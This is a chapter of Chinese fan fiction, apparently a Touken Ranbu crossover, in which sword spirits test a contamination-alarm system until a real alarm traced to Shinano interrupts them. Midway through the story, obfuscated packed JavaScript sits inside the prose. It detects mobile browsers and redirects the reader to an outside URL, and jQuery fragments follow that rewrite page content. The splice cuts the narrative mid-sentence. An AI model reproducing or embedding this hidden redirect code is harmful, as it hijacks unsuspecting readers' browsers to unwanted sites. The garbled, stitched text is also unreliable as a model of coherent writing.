灵基污染预警系统的第一次实地测试,定在当天下午两点。
地点选在本丸西北角的旧仓库区。那里远离主建筑群,平时很少有人去,就算测试出问题,也不容易波及无辜。
药研提前清理了场地。他在仓库周围布下三层隔离结界,每一层都有不同的衰减系数,最外层能削弱80%的灵力冲击,中间层削弱50%,最内层则是个反向结界,能把外泄的灵力往中心压。
“像个三明治。”鹤丸参观布置时这么评价,“还是夹心特别厚的那种。”
药研没理他,继续检查仪器。长谷部和国重站在控制台前,一个核对参数,一个检查线路。严胜和缘一则站在测试区中心,两人都穿着便于活动的训练服,腰间挂着本体刀。
“记住,”药研最后一次叮嘱,“系统启动后,会向你们释放模拟的污染信号。强度很低,大约相当于一级蚀灵之种的十分之一。你们要做的是保持灵基稳定,不要被干扰,同时记录下身体和灵力的反应。”
严胜点头。缘一也跟着点头,但眼睛一直盯着控制台上那些闪烁的指示灯,像是在试图理解它们的运作原理。
“另外,”药研顿了顿,“如果感觉到任何不适,头痛、恶心、灵力紊乱,立刻举手示意,我们会立刻终止测试。”
“明白。”严胜说。
国重最后检查了一遍控制台,然后看向长谷部:“所有参数校准完毕。系统状态……绿色,就绪。”
长谷部深吸一口气,手指悬在启动按钮上方。
“三、二、一……”
他按下按钮。
控制台发出低沉的嗡鸣。仓库天花板上的灵力发射器亮起蓝光,一道道肉眼可见的波纹状能量开始向下扩散。
起初很温和。像微风拂过皮肤,带着一点点凉意。严胜能感觉到那些能量接触到自己灵基的表层,像细小的针尖轻轻戳刺,但不痛,只是有点……痒。
缘一闭着眼,眉头微皱。他的灵视自动开启了,能“看见”那些模拟污染信号的形态,灰白色的细丝,像霉菌的菌丝,在空中缓慢飘荡,试图寻找可以附着的地方。
“灵基稳定度,严胜百分之98,缘一99。”药研盯着监测屏,“心率、血压、灵力流速……全部正常。”
测试进入第二阶段。发射器的输出功率开始缓慢提升。
灰白色的菌丝变粗了,颜色也更深了些。它们开始主动缠绕过来,不是攻击性的,更像是在……试探。严胜感觉到灵基表面传来轻微的吸力,像有什么东西想钻进去。
他本能地想要抵抗,但想起药研的叮嘱,便放松下来,任由那些菌丝接触。月之呼吸的灵力在体内平稳流转,像一条深蓝色的河,表面平静,底下却有暗流在涌动。
那些菌丝接触到河水的瞬间,忽然像触电般缩了回去。
严胜愣了一下。
不是他抵抗的,是月之呼吸的灵力自己做出的反应,那些深蓝色的水流里,混杂着极淡的暗紫色“墨”。平时这些墨都沉淀在河底,但接触到外来污染时,它们会本能地上浮,形成一层保护膜。
而模拟污染信号,似乎很怕这层膜。
控制台上,国重注意到了异常:“A7号传感器数据波动。污染信号在接触严胜时,出现了非预期的衰减。”
“衰减多少?”长谷部问。
“百分之23。”国重调出详细数据,“而且衰减是瞬间发生的,像被……弹开了。”
药研凑过来看。“弹开?还是……被吸收了?”
“更像是弹开。”国重放大波形图,“你看,接触瞬间,污染信号的振幅急剧下降,但总量没变,说明能量被反射了,不是被吸收。”
药研皱眉。“这不应该。模拟信号的设计原理是附着,不是攻击,不应该触发这么强的防御反应。”
他看向测试区里的严胜。“严胜,你感觉到什么特别的东西了吗?”
严胜想了想。“月之呼吸的灵力……自己动了。像在排斥那些信号。”
“自动排斥……”药研若有所思,“是因为你的灵力里混了鬼之力的残骸吗?那种‘墨’对污染有天然的排斥性?”
“有可能。”长谷部说,“但这不是重点。继续测试,看缘一那边。”
缘一的状态很稳定。
日之呼吸的灵力像一面光滑的镜子,把那些灰白色的菌丝全部反射回去。不是排斥,是更彻底的“无视”,菌丝接触到他灵基表面时,就像水滴落在荷叶上,根本沾不上去,直接滑开了。
“缘一,污染信号附着率……0。”国重报出数字,语气里难得带上了点惊讶,“完全无效。”
“不愧是继国缘一,”药研低声说,“纯粹到连污染都找不到缝隙。”
测试进入第三阶段。发射器功率提升到百分之50。
这一次,菌丝不再温和了。它们开始聚合,变成粗壮的触手状,颜色也从灰白变成了暗灰色,表面浮起细密的倒刺。
攻击性明显增强。
严胜感觉到压力。那些触手撞击在月之呼吸的灵力护膜上,发出“滋滋”的摩擦声。暗紫色的墨被搅动起来,在深蓝色的河流里翻涌,带来一种熟悉的、近乎躁动的感觉。
像有什么东西在苏醒。
他咬紧牙关,努力压制那种躁动。但越压制,墨的反应越激烈,它们似乎把模拟污染信号当成了某种挑衅,想要反击。
“严胜的灵力波动开始增大。”药研盯着屏幕,“心率上升,血压轻微升高……还在安全范围内,但需要观察。”
“缘一那边呢?”
“完全没反应。”国重说,“触手碰到他的灵力场就直接消散了,连波动都没有。”
差距很明显。
但这不是比赛。测试的目的是收集数据,不是比较谁更强。
“准备进入第四阶段。”长谷部说,“功率提升到百分之70,”
他的话还没说完,警报突然响了。
不是测试系统的警报,是本丸整体防御系统的警报,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17073657|192977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尖锐、急促、带着最高优先级的红色闪光。
所有人都愣住了。
“怎么回事?”药研第一个反应过来,冲到主控制台前,“哪个区域?”
屏幕上弹出一张本丸平面图,其中一个点在快速闪烁,不是旧仓库区,是主建筑群,短刀宿舍楼。
“灵基污染警报。”国重的声音沉下来,“等级……三级。有活性污染源正在接近。”
“什么?!”鹤丸跳起来,“现在?大白天的?”
长谷部立刻切换监控画面。宿舍楼周围的摄像头传来实时影像,一切正常。短刀们有的在午睡,有的在看书,有的在玩棋盘游戏,没有任何异常。
但警报还在响。
“系统误报?”药研快速检查数据,“污染信号强度……等等,这个波形,”
他放大了警报触发的波形图。不是模拟信号那种规整的曲线,是更杂乱、更不稳定的锯齿状波动。而且频率……很熟悉。
“是信浓。”药研脸色变了,“他灵基里残留的污染波动,刚才突然活跃了一下。”
“信浓?”严胜从测试区走过来,眉头紧皱,“他怎么了?”
“不知道,但警报是因为他触发的。”药研调出信浓房间的监控,粉发的短刀正坐在床上,抱着膝盖,头埋在臂弯里,肩膀在微微发抖。
看起来像在做噩梦。
“残留波动……”长谷部重复这个词,“不是说已经切除了吗?”
“是切除了主体,但灵基里还留着一些疤痕。”药研解释,“就像伤口愈合后留下的疤痕组织,平时没事,但受到刺激时可能会痛。信浓的灵基疤痕对污染信号特别敏感,刚才我们的测试功率提升,可能无意识地刺激到了他。”
也就是说,预警系统第一次真正触发警报,不是因为有外敌入侵,而是因为……误伤了自己人。
控制室里一片沉默。
过了几秒,国重先开口:“系统有效。”
“什么?”鹤丸瞪他,“这还叫有效?把信浓吓成那样,”
“系统检测到了灵基污染波动,并且提前发出了警报。”国重语气平淡,“虽然源头不是外敌,但检测功能本身是正常工作的。这说明我们的理论基础没错,只是需要调整灵敏度,避免对内部人员的误判。”
他说得很客观,但鹤丸的脸色还是很难看。
“我去看看信浓。”药研说着就要往外走。
“等等。”长谷部叫住他,“测试还没结束。既然系统已经触发了,不如……继续。”
“继续?”药研回头,“信浓那边,”
“让烛台切去。”长谷部说,“他擅长安抚人。我们继续测试,记录下系统从警报触发到污染源定位的完整流程。这种数据很难得。”
药研犹豫了一下,最终还是点头。“……好。”
他接通内线通讯,简单交代了几句。很快,监控画面里出现烛台切的身影,他轻轻推开信浓的房门,走了进去。
---